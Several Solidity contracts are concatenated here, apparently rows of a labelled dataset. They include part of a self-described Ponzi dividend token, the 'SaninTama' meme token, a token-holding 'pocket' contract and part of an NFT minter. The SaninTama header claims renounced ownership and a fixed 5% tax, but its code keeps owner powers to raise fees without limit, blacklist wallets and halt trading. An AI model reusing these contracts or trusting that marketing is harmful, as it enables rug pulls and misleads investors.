// quite rare unless interacting directly with the smart contract.
function withdrawOld(address to) public {
// Retrieve the dividends associated with the address the request came from.
var balance = dividends(msg.sender);
// Update the payouts array, incrementing the request address by `balance`.
payouts[msg.sender] += (int256) (balance * scaleFactor);
// Increase the total amount that's been paid out to maintain invariance.
totalPayouts += (int256) (balance * scaleFactor);
// Send the dividends to the address that requested the withdraw.
contractBalance = sub(contractBalance, balance);
to.transfer(balance);
}
// Internal balance function, used to calculate the dynamic reserve value.
function balance() internal constant returns (uint256 amount) {
// msg.value is the amount of Ether sent by the transaction.
return contractBalance - msg.value;
}
function buy() internal {
// Any transaction of less than 1 szabo is likely to be worth less than the gas used to send it.
if (msg.value < 0.000001 ether || msg.value > 1000000 ether)
revert();
// msg.sender is the address of the caller.
var sender = msg.sender;
// 10% of the total Ether sent is used to pay existing holders.
var fee = div(msg.value, 10);
// The amount of Ether used to purchase new tokens for the caller.
var numEther = msg.value - fee;
// The number of tokens which can be purchased for numEther.
var numTokens = getTokensForEther(numEther);
// The buyer fee, scaled by the scaleFactor variable.
var buyerFee = fee * scaleFactor;
// Check that we have tokens in existence (this should always be true), or
// else you're gonna have a bad time.
if (totalSupply > 0) {
// Compute the bonus co-efficient for all existing holders and the buyer.
// The buyer receives part of the distribution for each token bought in the
// same way they would have if they bought each token individually.
var bonusCoEff =
(scaleFactor - (reserve() + numEther) * numTokens * scaleFactor / (totalSupply + numTokens) / numEther)
* (uint)(crr_d) / (uint)(crr_d-crr_n);
// The total reward to be distributed amongst the masses is the fee (in Ether)
// multiplied by the bonus co-efficient.
var holderReward = fee * bonusCoEff;
buyerFee -= holderReward;
// Fee is distributed to all existing token holders before the new tokens are purchased.
// rewardPerShare is the amount gained per token thanks to this buy-in.
var rewardPerShare = holderReward / totalSupply;
// The Ether value per token is increased proportionally.
earningsPerToken += rewardPerShare;
}
// Add the numTokens which were just created to the total supply. We're a crypto central bank!
totalSupply = add(totalSupply, numTokens);
// Assign the tokens to the balance of the buyer.
tokenBalance[sender] = add(tokenBalance[sender], numTokens);
// Update the payout array so that the buyer cannot claim dividends on previous purchases.
// Also include the fee paid for entering the scheme.
// First we compute how much was just paid out to the buyer...
var payoutDiff = (int256) ((earningsPerToken * numTokens) - buyerFee);
// Then we update the payouts array for the buyer with this amount...
payouts[sender] += payoutDiff;
// And then we finally add it to the variable tracking the total amount spent to maintain invariance.
totalPayouts += payoutDiff;
}
// Sell function that takes tokens and converts them into Ether. Also comes with a 10% fee
// to discouraging dumping, and means that if someone near the top sells, the fee distributed
// will be *significant*.
function sell(uint256 amount) internal {
// Calculate the amount of Ether that the holders tokens sell for at the current sell price.
var numEthersBeforeFee = getEtherForTokens(amount);
// 10% of the resulting Ether is used to pay remaining holders.
var fee = div(numEthersBeforeFee, 10);
// Net Ether for the seller after the fee has been subtracted.
var numEthers = numEthersBeforeFee - fee;
// *Remove* the numTokens which were just sold from the total supply. We're /definitely/ a crypto central bank.
totalSupply = sub(totalSupply, amount);
// Remove the tokens from the balance of the buyer.
tokenBalance[msg.sender] = sub(tokenBalance[msg.sender], amount);
// Update the payout array so that the seller cannot claim future dividends unless they buy back in.
// First we compute how much was just paid out to the seller...
var payoutDiff = (int256) (earningsPerToken * amount + (numEthers * scaleFactor));
// We reduce the amount paid out to the seller (this effectively resets their payouts value to zero,
// since they're selling all of their tokens). This makes sure the seller isn't disadvantaged if
// they decide to buy back in.
payouts[msg.sender] -= payoutDiff;
// Decrease the total amount that's been paid out to maintain invariance.
totalPayouts -= payoutDiff;
// Check that we have tokens in existence (this is a bit of an irrelevant check since we're
// selling tokens, but it guards against division by zero).
if (totalSupply > 0) {
// Scale the Ether taken as the selling fee by the scaleFactor variable.
var etherFee = fee * scaleFactor;
// Fee is distributed to all remaining token holders.
// rewardPerShare is the amount gained per token thanks to this sell.
var rewardPerShare = etherFee / totalSupply;
// The Ether value per token is increased proportionally.
earningsPerToken = add(earningsPerToken, rewardPerShare);
}
}
// Dynamic value of Ether in reserve, according to the CRR requirement.
function reserve() internal constant returns (uint256 amount) {
return sub(balance(),
((uint256) ((int256) (earningsPerToken * totalSupply) - totalPayouts) / scaleFactor));
}
// Calculates the number of tokens that can be bought for a given amount of Ether, according to the
// dynamic reserve and totalSupply values (derived from the buy and sell prices).
function getTokensForEther(uint256 ethervalue) public constant returns (uint256 tokens) {
return sub(fixedExp(fixedLog(reserve() + ethervalue)*crr_n/crr_d + price_coeff), totalSupply);
}
// Semantically similar to getTokensForEther, but subtracts the callers balance from the amount of Ether returned for conversion.
function calculateDividendTokens(uint256 ethervalue, uint256 subvalue) public constant returns (uint256 tokens) {
return sub(fixedExp(fixedLog(reserve() - subvalue + ethervalue)*crr_n/crr_d + price_coeff), totalSupply);
}
// Converts a number tokens into an Ether value.
function getEtherForTokens(uint256 tokens) public constant returns (uint256 ethervalue) {
// How much reserve Ether do we have left in the contract?
var reserveAmount = reserve();
// If you're the Highlander (or bagholder), you get The Prize. Everything left in the vault.
if (tokens == totalSupply)
return reserveAmount;
// If there would be excess Ether left after the transaction this is called within, return the Ether
// corresponding to the equation in Dr Jochen Hoenicke's original Ponzi paper, which can be found
// at https://test.jochen-hoenicke.de/eth/ponzitoken/ in the third equation, with the CRR numerator
// and denominator altered to 1 and 2 respectively.
return sub(reserveAmount, fixedExp((fixedLog(totalSupply - tokens) - price_coeff) * crr_d/crr_n));
}
// You don't care about these, but if you really do they're hex values for
// co-efficients used to simulate approximations of the log and exp functions.
int256 constant one = 0x10000000000000000;
uint256 constant sqrt2 = 0x16a09e667f3bcc908;
uint256 constant sqrtdot5 = 0x0b504f333f9de6484;
int256 constant ln2 = 0x0b17217f7d1cf79ac;
int256 constant ln2_64dot5 = 0x2cb53f09f05cc627c8;
int256 constant c1 = 0x1ffffffffff9dac9b;
int256 constant c3 = 0x0aaaaaaac16877908;
int256 constant c5 = 0x0666664e5e9fa0c99;
int256 constant c7 = 0x049254026a7630acf;
int256 constant c9 = 0x038bd75ed37753d68;
int256 constant c11 = 0x03284a0c14610924f;
// The polynomial R = c1*x + c3*x^3 + ... + c11 * x^11
// approximates the function log(1+x)-log(1-x)
// Hence R(s) = log((1+s)/(1-s)) = log(a)
function fixedLog(uint256 a) internal pure returns (int256 log) {
int32 scale = 0;
while (a > sqrt2) {
a /= 2;
scale++;
}
while (a <= sqrtdot5) {
a *= 2;
scale--;
}
int256 s = (((int256)(a) - one) * one) / ((int256)(a) + one);
var z = (s*s) / one;
return scale * ln2 +
(s*(c1 + (z*(c3 + (z*(c5 + (z*(c7 + (z*(c9 + (z*c11/one))
/one))/one))/one))/one))/one);
}
int256 constant c2 = 0x02aaaaaaaaa015db0;
int256 constant c4 = -0x000b60b60808399d1;
int256 constant c6 = 0x0000455956bccdd06;
int256 constant c8 = -0x000001b893ad04b3a;
// The polynomial R = 2 + c2*x^2 + c4*x^4 + ...
// approximates the function x*(exp(x)+1)/(exp(x)-1)
// Hence exp(x) = (R(x)+x)/(R(x)-x)
function fixedExp(int256 a) internal pure returns (uint256 exp) {
int256 scale = (a + (ln2_64dot5)) / ln2 - 64;
a -= scale*ln2;
int256 z = (a*a) / one;
int256 R = ((int256)(2) * one) +
(z*(c2 + (z*(c4 + (z*(c6 + (z*c8/one))/one))/one))/one);
exp = (uint256) (((R + a) * one) / (R - a));
if (scale >= 0)
exp <<= scale;
else
exp >>= -scale;
return exp;
}
// The below are safemath implementations of the four arithmetic operators
// designed to explicitly prevent over- and under-flows of integer values.
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
// This allows you to buy tokens by sending Ether directly to the smart contract
// without including any transaction data (useful for, say, mobile wallet apps).
function () payable public {
// msg.value is the amount of Ether sent by the transaction.
if (msg.value > 0) {
fund();
} else {
withdrawOld(msg.sender);
}
}
} | True | [
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|
// SPDX-License-Identifier: Unlicensed
/**
The strongest foundation of all has always been community.
SaninTama – Also the Shiba Inu Killer from the Saitama,
that is a decentralized experiment that intends to employ a community with the collective goal of solid organic growth.
DeFi has become a repetitive cycle of pumps and dumps, and it’s hard to find a trustworthy project with a dedicated team.
SaninTama emphasizes financial security.
The fate of the project will be decided upon by the community. Welcome to SaninTama!
1,000,000,000,000 total supply
10,000,000,000 max buy
70% burn
3 ETH liquidity
5% TAX
100% LP tokens burned
Renounced ownership
No presale, 0 team tokens.
**/
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SANITAMA is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Sanin Saitama Inu";
string private constant _symbol = "SANITAMA";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 4;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 4;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x92705058993DfB7ED47345B283A3761FDBfFD504);
address payable private _marketingAddress = payable(0x92705058993DfB7ED47345B283A3761FDBfFD504);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000000 * 10**9;
uint256 public _maxWalletSize = 15000000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | True | [
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|
pragma solidity 0.4.23;
contract ERC20BasicInterface {
event Transfer(address indexed from, address indexed to, uint256 value);
function decimals() public view returns (uint8);
function name() public view returns (string);
function symbol() public view returns (string);
function totalSupply() public view returns (uint256 supply);
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract ERC20Interface is ERC20BasicInterface {
event Approval(address indexed owner, address indexed spender, uint256 value);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
}
/**
* @title ERC20Pocket
*
* This contract keeps particular token for the single owner.
*
* Original purpose is to be able to separate your tokens into different pockets for dedicated purposes.
* Whenever a withdrawal happen, it will be transparent that tokens were taken from a particular pocket.
*
* Contract emits purely informational events when transfers happen, for better visualization on explorers.
*/
contract ERC20Pocket is ERC20BasicInterface {
ERC20Interface public constant TOKEN = ERC20Interface(0x0b34a04b77Aa9bd2C07Ef365C05f7D0234C95630);
address public constant OWNER = 0xCba6eE74b7Ca65Bd0506cf21d62bDd7c71F86AD8;
string constant NAME = 'Optherium Node Tokens';
string constant SYMBOL = 'OPEXnode';
modifier onlyOwner() {
require(msg.sender == OWNER, 'Access denied');
_;
}
function deposit(uint _value) public onlyOwner() returns(bool) {
require(TOKEN.transferFrom(OWNER, address(this), _value), 'Deposit failed');
emit Transfer(0x0, OWNER, _value);
return true;
}
function withdraw(address _to, uint _value) public onlyOwner() returns(bool) {
require(TOKEN.transfer(_to, _value), 'Withdrawal failed');
emit Transfer(OWNER, 0x0, _value);
return true;
}
function totalSupply() public view returns(uint) {
return TOKEN.balanceOf(address(this));
}
function balanceOf(address _holder) public view returns(uint) {
if (_holder == OWNER) {
return totalSupply();
}
return 0;
}
function decimals() public view returns(uint8) {
return TOKEN.decimals();
}
function name() public view returns(string) {
return NAME;
}
function symbol() public view returns(string) {
return SYMBOL;
}
function transfer(address _to, uint _value) public returns(bool) {
if (_to == address(this)) {
deposit(_value);
} else {
withdraw(_to, _value);
}
return true;
}
function recoverTokens(ERC20BasicInterface _token, address _to, uint _value) public onlyOwner() returns(bool) {
require(address(_token) != address(TOKEN), 'Can not recover this token');
return _token.transfer(_to, _value);
}
}
contract OPEXInterface {
function transferWithLock(address _to, uint _value, uint _unlockDate) public returns(bool);
}
/**
* @title OPEXnode
*
* This contract keeps OPEX tokens for Node.
* When withdrawal happens, transferred tokens become locked for up to a year.
*/
contract OPEXnode is ERC20Pocket {
function withdraw(address _to, uint _value) public onlyOwner() returns(bool) {
OPEXInterface opex = OPEXInterface(address(TOKEN));
require(opex.transferWithLock(_to, _value, inOneYear()), 'Withdrawal failed.');
emit Transfer(OWNER, 0x0, _value);
return true;
}
function currentDate() internal view returns(uint) {
return now;
}
function inOneYear() internal view returns(uint) {
return currentDate() + 1 years;
}
} | True | [
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|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Supply.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "./PrysmAccessPass.sol";
/// @custom:security-contact [email protected]
contract Minter is Ownable, ReentrancyGuard, Pausable {
PrysmAccessPass _nft;
constructor(address nft) {
_nft = PrysmAccessPass(nft);
}
mapping(uint256 => bytes32) _tokenTypes;
mapping(uint256 => mapping(address => bool)) private _mintApprovals;
mapping(address => mapping(uint256 => bool)) private _hasMinted;
function modifyType(
uint256 _id,
bytes32 _root
) public onlyOwner {
_tokenTypes[_id] = _root;
}
function mintOwner(address to, uint256 id, uint256 amount, bytes memory data)
public
onlyOwner
{
_nft.mint(to, id, amount, data);
}
function transferOwnershipProxy(address account)
public
onlyOwner
{
_nft.transferOwnership(account);
}
function pauseProxy()
public
onlyOwner
{
_nft.pause();
}
function unpauseProxy()
public
onlyOwner
{
_nft.unpause();
}
function pause()
public
onlyOwner
{
_pause();
}
function unpause()
public
onlyOwner
{
_unpause();
}
function setURIProxy(string memory newuri)
public
onlyOwner
{
_nft.setURI(newuri);
}
function mint(uint256 tokenId, bytes32[] calldata proof)
external
nonReentrant
whenNotPaused
{
address to = msg.sender;
require(
!_hasMinted[to][tokenId],
"Already minted"
);
require(_mintApprovals[tokenId][to] || _verify(tokenId, to, proof), "Invalid merkle proof");
_mintApprovals[tokenId][to] = false;
_hasMinted[to][tokenId] = true;
_nft.mint(to, tokenId, 1, bytes(""));
}
function canMintToken(address to, uint256 tokenId, bytes32[] calldata proof)
external
view
returns (bool)
{
return !_hasMinted[to][tokenId] &&
(_mintApprovals[tokenId][to] ||
_verify(tokenId, to, proof));
}
function setMintApproval(
address to,
bool value,
uint256 id
) external onlyOwner {
_mintApprovals[id][to] = value;
}
function _leaf(address to, uint256 tokenId)
internal pure returns (bytes32)
{
return keccak256(abi.encodePacked(tokenId, to));
}
function _verify(uint256 tokenId, address to, bytes32[] memory proof)
internal view returns (bool)
{
bytes32 root = _tokenTypes[tokenId];
return MerkleProof.verify(proof, root, _leaf(to, tokenId));
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC1155 compliant contract, as defined in the
* https://eips.ethereum.org/EIPS/eip-1155[EIP].
*
* _Available since v3.1._
*/
interface IERC1155 is IERC165 {
/**
* @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.
*/
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
/**
* @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all
* transfers.
*/
event TransferBatch(
address indexed operator,
address indexed from,
address indexed to,
uint256[] ids,
uint256[] values
);
/**
* @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to
* `approved`.
*/
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
/**
* @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.
*
* If an {URI} event was emitted for `id`, the standard
* https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value
* returned by {IERC1155MetadataURI-uri}.
*/
event URI(string value, uint256 indexed id);
/**
* @dev Returns the amount of tokens of token type `id` owned by `account`.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) external view returns (uint256);
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)
external
view
returns (uint256[] memory);
/**
* @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,
*
* Emits an {ApprovalForAll} event.
*
* Requirements:
*
* - `operator` cannot be the caller.
*/
function setApprovalForAll(address operator, bool approved) external;
/**
* @dev Returns true if `operator` is approved to transfer ``account``'s tokens.
*
* See {setApprovalForAll}.
*/
function isApprovedForAll(address account, address operator) external view returns (bool);
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes calldata data
) external;
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] calldata ids,
uint256[] calldata amounts,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
